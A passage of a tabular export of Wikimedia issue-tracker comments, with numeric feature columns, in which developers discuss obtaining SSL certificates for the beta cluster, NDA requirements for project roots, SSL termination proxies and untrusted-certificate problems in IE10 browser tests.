Maybe create another project with limited access and move the ssl terminators there. You should realize that other than advising I'm not really doing anything in beta...",,,1380729147,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,5,True,0.0,2.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,7.0,11.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,13.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,22.0,2.0,2.0,4.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,4.0,11.0,11.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.890909090909091,0.7454545454545455,"(In reply to comment #42)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Maybe create another project with limited access and move the ssl terminators there. You should realize that other than advising I'm not really doing anything in beta..."
227248,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #41)
> (In reply to comment #29)
> > There's also the option which had been discussed before: make a new labs
> > project whose sole purpose would be to do SSL termination and would then
> > relay
> > to varnish.
> > 
> > Then *that* project would have the NDA req instead of the core beta project.
> 
> That's the dynamichttp proxy, which has been running silently for a while now
> :)

They want to have the same https infrastructure as production, which makes sense ;)",,,1380729060,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,5,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,27.0,0.0,0.0,5.0,0.0,2.0,0.0,2.0,5.0,0.0,2.0,0.0,2.0,9.0,18.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.477272727272727,0.5681818181818182,"(In reply to comment #41)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

They want to have the same https infrastructure as production, which makes sense ;)"
227242,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #40)

> I'm still not opposed to getting a proper cert, but that requires some
> infrastructure and permissions changes in deployment-prep...

Since we've been going around on this since May, what would be the next step to make that happen?",,,1380728062,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,5,True,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,20.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,14.0,6.0,0.0,9.0,0.0,0.0,0.0,3.0,11.0,0.0,3.0,0.0,3.0,20.0,3.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.2857142857142856,0.9142857142857143,"(In reply to comment #40)

QUOTE
QUOTE

Since we've been going around on this since May, what would be the next step to make that happen?"
227237,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #29)
> There's also the option which had been discussed before: make a new labs
> project whose sole purpose would be to do SSL termination and would then
> relay
> to varnish.
> 
> Then *that* project would have the NDA req instead of the core beta project.

That's the dynamichttp proxy, which has been running silently for a while now :)",,,1380727770,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,22.0,0.0,0.0,11.0,0.0,3.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,8.0,11.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,3.4054054054054053,0.7297297297297297,"(In reply to comment #29)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

That's the dynamichttp proxy, which has been running silently for a while now :)"
227230,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Has anyone considered creating a CA (http://pages.cs.wisc.edu/~zmiller/ca-howto/), generating a * cert, and adding that certificate to the browser's trust? Is that a possibility using the selenium service we're using?

I'm still not opposed to getting a proper cert, but that requires some infrastructure and permissions changes in deployment-prep...",,,1380727437,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,5,True,2.0,2.0,0.0,0.0,2.0,3.0,2.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,3.0,2.0,3.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,8.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,18.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,8.0,2.0,5.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,2.0,3.0,0.0,0.0,3.0,0.0,0.0,7.0,0.0,10.0,0.0,0.0,0.0,4.366666666666666,0.8,"Has anyone considered creating a CA (URL generating a * cert, and adding that certificate to the browser's trust? Is that a possibility using the selenium service we're using?

I'm still not opposed to getting a proper cert, but that requires some infrastructure and permissions changes in deployment-prep..."
227222,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #33)
> But I can't find prefershttps in Preferences to turn that off.

So it turns out it only displays if wgSecureLogin is on, but it defaults true either way.  The gotcha is that it wasn't not on for Labs, *except* loginwiki.  However, loginwiki is not taken into account by the Preferences logic.  

I believe the above should workaround that by disabling wgSecureLogin on loginwiki as well.  However, I haven't tested it, since I don't have a realistic CentralAuth environment.

This is just intended to be temporary until there's an SSL setup on Beta that is trusted out-of-the-box by browsers.",,,1380704544,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,5,True,0.0,0.0,0.0,2.0,3.0,2.0,2.0,0.0,0.0,0.5,2.5,2.0,0.0,0.5,1.0,2.5,0.0,8.5,14.0,0.0,2.0,1.0,1.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,7.5,1.0,3.0,1.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,8.5,1.0,1.5,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,1.0,0.0,4.0,4.5,10.0,3.0,0.5,5.5,0.0,0.0,0.0,0.5,3.0,0.0,0.5,0.0,5.0,14.0,5.0,0.0,0.0,0.0,5.0,0.0,1.0,1.5,0.0,1.0,0.0,0.0,0.0,3.746031746031746,0.7777777777777778,"(In reply to comment #33)
QUOTE

So it turns out it only displays if wgSecureLogin is on, but it defaults true either way.  The gotcha is that it wasn't not on for Labs, *except* loginwiki.  However, loginwiki is not taken into account by the Preferences logic.  

I believe the above should workaround that by disabling wgSecureLogin on loginwiki as well.  However, I haven't tested it, since I don't have a realistic CentralAuth environment.

This is just intended to be temporary until there's an SSL setup on Beta that is trusted out-of-the-box by browsers."
227213,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Change 87045 had a related patch set uploaded by Mattflaschen:
Labs: Turn off secure login on loginwiki due to untrusted SSL

https://gerrit.wikimedia.org/r/87045",,,1380704074,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,5,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,23.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,19.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.5,0.9615384615384616,"Change 87045 had a related patch set uploaded by Mattflaschen:
Labs: Turn off secure login on loginwiki due to untrusted SSL

GERRIT_URL"
227207,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Calm down, what we need is to use the 'Labs CA' certificate authority to generate all the certificates we need, then add that authority as a trusted one in the browsers.

I would do it myself if I had access to the 'Labs CA'.",,,1380701912,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,5,True,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,4.0,8.0,0.0,0.0,0.0,9.0,0.0,2.0,13.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,13.0,2.0,0.0,13.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,11.0,13.0,8.0,0.0,8.0,0.0,11.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,3.452830188679245,0.6981132075471698,"Calm down, what we need is to use the 'Labs CA' certificate authority to generate all the certificates we need, then add that authority as a trusted one in the browsers.

I would do it myself if I had access to the 'Labs CA'."
227200,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #35)
> (In reply to comment #33)
> > (In reply to comment #32)
> > > (In reply to comment #19)
> > > > For those playing along at home: The Beta Cluster currently does not have
> > > > https by default turned on for this very reason (it broke browser tests).
> > > 
> > > This is no longer the case.
> > 
> > Correction: it's enabled by default, but only for logged in users.
> > 
> > But I can't find prefershttps in Preferences to turn that off.
> 
> This means, for instance, that VisualEditor is entirely untestable on Beta
> Labs. Yay fun. :-(

That is not true, VisualEditor works just fine on beta labs, we found Bug 54791 on beta labs with an automated browser test just this week.  Beta labs is as healthy as it has ever been, and it is running the master branch with database updates all maintained automatically.  Varnish on beta is configured properly, and is working well. 

What does not work on beta labs without a real SSL cert are: 

* tests for IE10 are busted : https://saucelabs.com/jobs/a29bcd975ac6483195b3bd56a64fec6a

* having to visit https://bits.beta.wmflabs.org manually over and over again to get styling to work in every browser is a drag",,,1380665184,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,4,True,1.5,0.0,0.0,1.5,1.0,2.5,1.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.5,0.0,8.5,9.0,0.0,2.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,7.5,0.5,1.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,14.5,0.5,0.5,0.5,1.0,0.0,0.0,0.0,0.5,1.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.5,5.5,13.5,0.0,2.0,5.0,0.0,0.0,0.0,0.5,3.0,0.0,1.0,0.0,1.5,9.0,8.5,0.0,0.0,0.0,1.5,0.0,0.5,2.0,0.0,2.0,0.0,0.0,0.0,3.604561403508772,0.6429824561403509,"(In reply to comment #35)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

That is not true, VisualEditor works just fine on beta labs, we found Bug 54791 on beta labs with an automated browser test just this week.  Beta labs is as healthy as it has ever been, and it is running the master branch with database updates all maintained automatically.  Varnish on beta is configured properly, and is working well. 

What does not work on beta labs without a real SSL cert are: 

* tests for IE10 are busted : URL

* having to visit URL manually over and over again to get styling to work in every browser is a drag"
227193,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #33)
> (In reply to comment #32)
> > (In reply to comment #19)
> > > For those playing along at home: The Beta Cluster currently does not have
> > > https by default turned on for this very reason (it broke browser tests).
> > 
> > This is no longer the case.
> 
> Correction: it's enabled by default, but only for logged in users.
> 
> But I can't find prefershttps in Preferences to turn that off.

This means, for instance, that VisualEditor is entirely untestable on Beta Labs. Yay fun. :-(",,,1380657576,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,4,True,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,33.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,10.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.375,0.5833333333333334,"(In reply to comment #33)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

This means, for instance, that VisualEditor is entirely untestable on Beta Labs. Yay fun. :-("
227189,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"
Yes. Using beta continues to be a hassle, and in the near future the SSL issue is going to be a big problem.",,,1380641833,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,4,True,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,11.0,11.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,3.2222222222222223,0.8148148148148148,"
Yes. Using beta continues to be a hassle, and in the near future the SSL issue is going to be a big problem."
227184,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #32)
> (In reply to comment #19)
> > For those playing along at home: The Beta Cluster currently does not have
> > https by default turned on for this very reason (it broke browser tests).
> 
> This is no longer the case.

Correction: it's enabled by default, but only for logged in users.

But I can't find prefershttps in Preferences to turn that off.",,,1380587930,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,4,True,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,2.0,0.0,2.0,0.0,4.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,6.0,0.0,2.0,0.0,4.0,17.0,12.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3958333333333335,0.75,"(In reply to comment #32)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Correction: it's enabled by default, but only for logged in users.

But I can't find prefershttps in Preferences to turn that off."
227179,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #19)
> For those playing along at home: The Beta Cluster currently does not have
> https by default turned on for this very reason (it broke browser tests).

This is no longer the case.

(In reply to comment #24)
> Let's deploy SSL either correctly or not-at-all to beta.

Agreed.  I think turning SSL completely off on beta would be better than the current situation.  It's not good for people to get in the habit of ignoring certificate warnings.

Of course, fixing it properly with a valid cert is best.",,,1380587514,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,4,True,0.0,0.0,1.0,0.0,1.0,6.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,10.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,1.0,2.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,15.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,4.0,13.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,4.0,16.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,4.0,2.0,1.0,0.0,3.4390243902439024,0.7195121951219512,"(In reply to comment #19)
QUOTE
QUOTE

This is no longer the case.

(In reply to comment #24)
QUOTE

Agreed.  I think turning SSL completely off on beta would be better than the current situation.  It's not good for people to get in the habit of ignoring certificate warnings.

Of course, fixing it properly with a valid cert is best."
227174,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Bumping this with a note that this affects our ability to run automated tests with IE10 only.  (Demo on request) Other versions of IE seem to be OK with the current situation on labs, but I haven't found a way around IE10's paranoia. 

It would be good to have some sort of solution for this in advance of support for IE10 in VisualEditor.",,,1379432509,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,2,True,1.0,0.0,0.0,0.0,1.0,7.0,3.0,0.0,0.0,0.0,3.0,1.0,0.0,1.0,0.0,3.0,0.0,3.0,23.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,4.0,3.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,5.0,0.0,3.0,1.0,0.0,1.0,14.0,1.0,3.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,15.0,1.0,1.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.0,23.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,3.7945205479452055,0.7534246575342466,"Bumping this with a note that this affects our ability to run automated tests with IE10 only.  (Demo on request) Other versions of IE seem to be OK with the current situation on labs, but I haven't found a way around IE10's paranoia. 

It would be good to have some sort of solution for this in advance of support for IE10 in VisualEditor."
227169,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Hm. That isn't a bad idea. If we were to do that, I'd want to move the ssl terminators and the caching layer there, and strip private IP info at that layer. Then we can change beta's privacy policy to that of the projects.",,,1377728033,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,0,True,0.0,0.0,0.0,0.0,2.0,4.0,4.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,6.0,0.0,6.0,11.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,11.0,2.0,4.0,15.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,6.0,11.0,4.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.3773584905660377,0.7547169811320755,"Hm. That isn't a bad idea. If we were to do that, I'd want to move the ssl terminators and the caching layer there, and strip private IP info at that layer. Then we can change beta's privacy policy to that of the projects."
227164,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"There's also the option which had been discussed before: make a new labs project whose sole purpose would be to do SSL termination and would then relay to varnish.

Then *that* project would have the NDA req instead of the core beta project.",,,1377727232,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,0,True,0.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,10.0,6.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,2.0,0.0,8.0,4.0,8.0,0.0,2.0,14.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.82,"There's also the option which had been discussed before: make a new labs project whose sole purpose would be to do SSL termination and would then relay to varnish.

Then *that* project would have the NDA req instead of the core beta project."
227158,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #25)
> As I've mentioned in the past, I'm totally fine with getting an SSL cert for
> beta, assuming we ensure every project member in deployment-prep has a signed
> NDA.
> 
> In the future Yuvi's proxy will handle load balancing, HTTPS and such. We'll
> be
> able to drop the NDA requirement (and the SSL cert) once we have that.

Not every deployment-prep member is capable of signing an NDA anyway.",,,1377726168,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,0,True,3.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,27.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,8.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.3513513513513513,0.6756756756756757,"(In reply to comment #25)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Not every deployment-prep member is capable of signing an NDA anyway."
227151,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Ah. Indeed. Well, let's treat deployment-prep like tools and require NDAs for all roots...",,,1377725772,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,0,True,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,14.0,10.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.9523809523809523,"Ah. Indeed. Well, let's treat deployment-prep like tools and require NDAs for all roots..."
227143,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"(In reply to comment #25)
> In the future Yuvi's proxy will handle load balancing, HTTPS and such.
> We'll able to drop the NDA requirement (and the SSL cert) once we have that.

I dont think we should use  Yuvi proxy for beta since the point of the project is to closely reproduce production. Currently the SSL connections are handled by nginx proxies, whenever varnish supports it, they will land on the varnish frontends.",,,1377725574,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,0,True,0.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,13.0,0.0,3.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,2.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,7.0,3.0,12.0,3.0,0.0,7.0,0.0,0.0,0.0,2.0,8.0,0.0,2.0,0.0,7.0,13.0,3.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.85,"(In reply to comment #25)
QUOTE
QUOTE

I dont think we should use  Yuvi proxy for beta since the point of the project is to closely reproduce production. Currently the SSL connections are handled by nginx proxies, whenever varnish supports it, they will land on the varnish frontends."
227135,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Understandable for manual testing. I just wanted to make sure the automated tests weren't actually blocked, since there's ways to relatively easily workaround the issue.

As I've mentioned in the past, I'm totally fine with getting an SSL cert for beta, assuming we ensure every project member in deployment-prep has a signed NDA.

In the future Yuvi's proxy will handle load balancing, HTTPS and such. We'll be able to drop the NDA requirement (and the SSL cert) once we have that.",,,1377724502,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,0,True,1.0,0.0,0.5,0.5,0.5,4.5,1.0,0.0,0.0,0.0,3.0,2.5,0.0,0.0,0.5,4.5,0.0,3.0,8.0,0.0,2.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,4.5,2.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,11.5,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.5,0.5,1.0,0.0,0.0,0.0,6.0,1.5,10.0,1.5,2.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.5,8.0,5.5,0.0,0.0,0.0,4.5,0.0,0.0,1.5,0.0,1.5,0.0,0.0,0.0,3.9607843137254903,0.8431372549019608,"Understandable for manual testing. I just wanted to make sure the automated tests weren't actually blocked, since there's ways to relatively easily workaround the issue.

As I've mentioned in the past, I'm totally fine with getting an SSL cert for beta, assuming we ensure every project member in deployment-prep has a signed NDA.

